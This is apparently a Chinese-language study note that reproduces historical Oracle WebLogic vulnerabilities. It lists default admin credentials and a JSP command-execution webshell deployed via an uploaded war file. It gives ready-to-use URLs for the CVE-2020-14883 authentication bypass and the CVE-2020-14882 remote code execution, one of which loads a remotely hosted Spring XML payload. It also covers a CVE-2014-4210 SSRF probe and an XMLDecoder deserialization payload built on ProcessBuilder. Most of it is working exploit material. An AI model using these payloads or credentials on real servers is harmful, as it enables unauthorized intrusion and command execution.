Weblogic学习2-一些历史漏洞的复现

Weblogic 弱口令&&文件上传

/console路由:
常见弱口令:

账户	密码
system	password
weblogic	weblogic
guest	guest
portaladmin	portaladmin
admin	security
joe	password
mary	password
system	security
wlcsystem	wlcsystem
wlcsystem	sipisystem

其他常见密码

weblogic1  
weblogic12  
weblogic123  
weblogic@123  
webl0gic  
weblogic#  
weblogic@

上传war包RCE:
随便写一句话木马

1 2	<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

打包

1	jar cvf test.war test.jsp

先锁定并编辑,部署,安装
上传文件

一直下一步.完成,先左上角点激活更改

再回到部署把test启动

此时访问127.0.0.1:7001/test/test.jsp

成功执行命令,也可以修改jsp文件来让命令执行结构回显到网页上

Weblogic 未授权&&后台RCE

CVE-2020-14883

没有登录weblogic访问/console会302跳转登录页面/console/login/LoginForm.jsp
但是我们可以通过双重URL编码来绕过认证未授权访问console后台

受影响版本

1	Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

1	/console/css/%252e%252e%252fconsole.portal

或者浏览器抓包改包

CVE-2020-14882

此时后台权限比较低,不能安装应用,需要CVE-2020-14882来允许后台任意用户通过 HTTP 协议执行任意命令。

方式1

借助com.tangosol.coherence.mvel2.sh.ShellSession类, Weblogic 12.2.1 及以上版本才有这个类,低版本不能用

1	http://ip:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc');")

方式2

借助com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类,对所有weblogic版本都可用

先准备一个xml文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>calc</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

url:

1	/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://127.0.0.1:4444/exp.xml")

Weblogic SSRF

CVE-2014-4210
影响版本:

1	- Oracle WebLogic Server 10.0.2, 10.3.6

SearchPublicRegistries.jsp接口存在SSRF漏洞

1	/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

看到报错

1
2

An error has occurred  
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.

访问7000端口

此时回显不同可以探测内网信息

Weblogic XMLDecoder

xml基础

XMLDecoder和XMLEncoder是jdk自带的内置包
语法:
XMLEncoder:

import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class test {
    public static void main(String[] args) throws Exception {
        XMLEncoder e = new XMLEncoder(
                new BufferedOutputStream(
                        new FileOutputStream("result.xml")));
        e.writeObject(new JButton("Hello, world"));
        e.close();
    }
}

结果:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_201" class="java.beans.XMLDecoder">
 <object class="javax.swing.JButton">
  <string>Hello, world</string>
 </object>
</java>

XMLDecoder:

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;

public class decode {
    public static void main(String[] args)throws Exception {
        XMLDecoder d = new XMLDecoder(
                new BufferedInputStream(
                        new FileInputStream("result.xml")));
        Object result = d.readObject();
        System.out.println(result);
        d.close();
    }
}

输出

javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@41cf53f9,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello, world,defaultCapable=true]

几个标签:

string标签: <string>Hello, world</string>

object标签: 表示对象,class属性指定具体类,method指定具体方法

1
2
3

<object class="javax.swing.JButton" method="new">
    <string>Hello,xml</string>
</object>

void标签表示函数调用和赋值

1 2	JButton b = new JButton(); b.setText("Hello, world");

可以对应:

<object class="javax.swing.JButton">
    <void method="setText">
    <string>Hello,xml</string>
    </void>
</object>

array标签: 表示数组,class表示具体类,内部void标签的index属性表示根据指定数组索引赋值
eg.

<array class="java.lang.String" length="1">
    <void index="0">
    <string>Calc</string>
    </void>
</array>

影响版本

WebLogic 存在 WLS-WebServices 的组件皆会受到影响
此组件路径:

1
2
3

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat 
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war 
Middleware/wlserver_10.3/server/lib/wls-wsat.war

漏洞复现

WebLogic 的 WLS Security 组件对外提供 WebService 服务，其中使用 XMLDecoder 来解析 XML 格式数据，其存在反序列化漏洞，从而导致 RCE。
看一个RCE的解析

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;

public class porc {
public static void main(String[] args) throws Exception {
        FileInputStream file = new FileInputStream("exp.xml");
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));
        Object result = xmlDecoder.readObject();
        xmlDecoder.close();
        }
        }

exp.xml

<java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>Calc</string>
            </void>
        </array>
        <void method="start"/></void>
</java>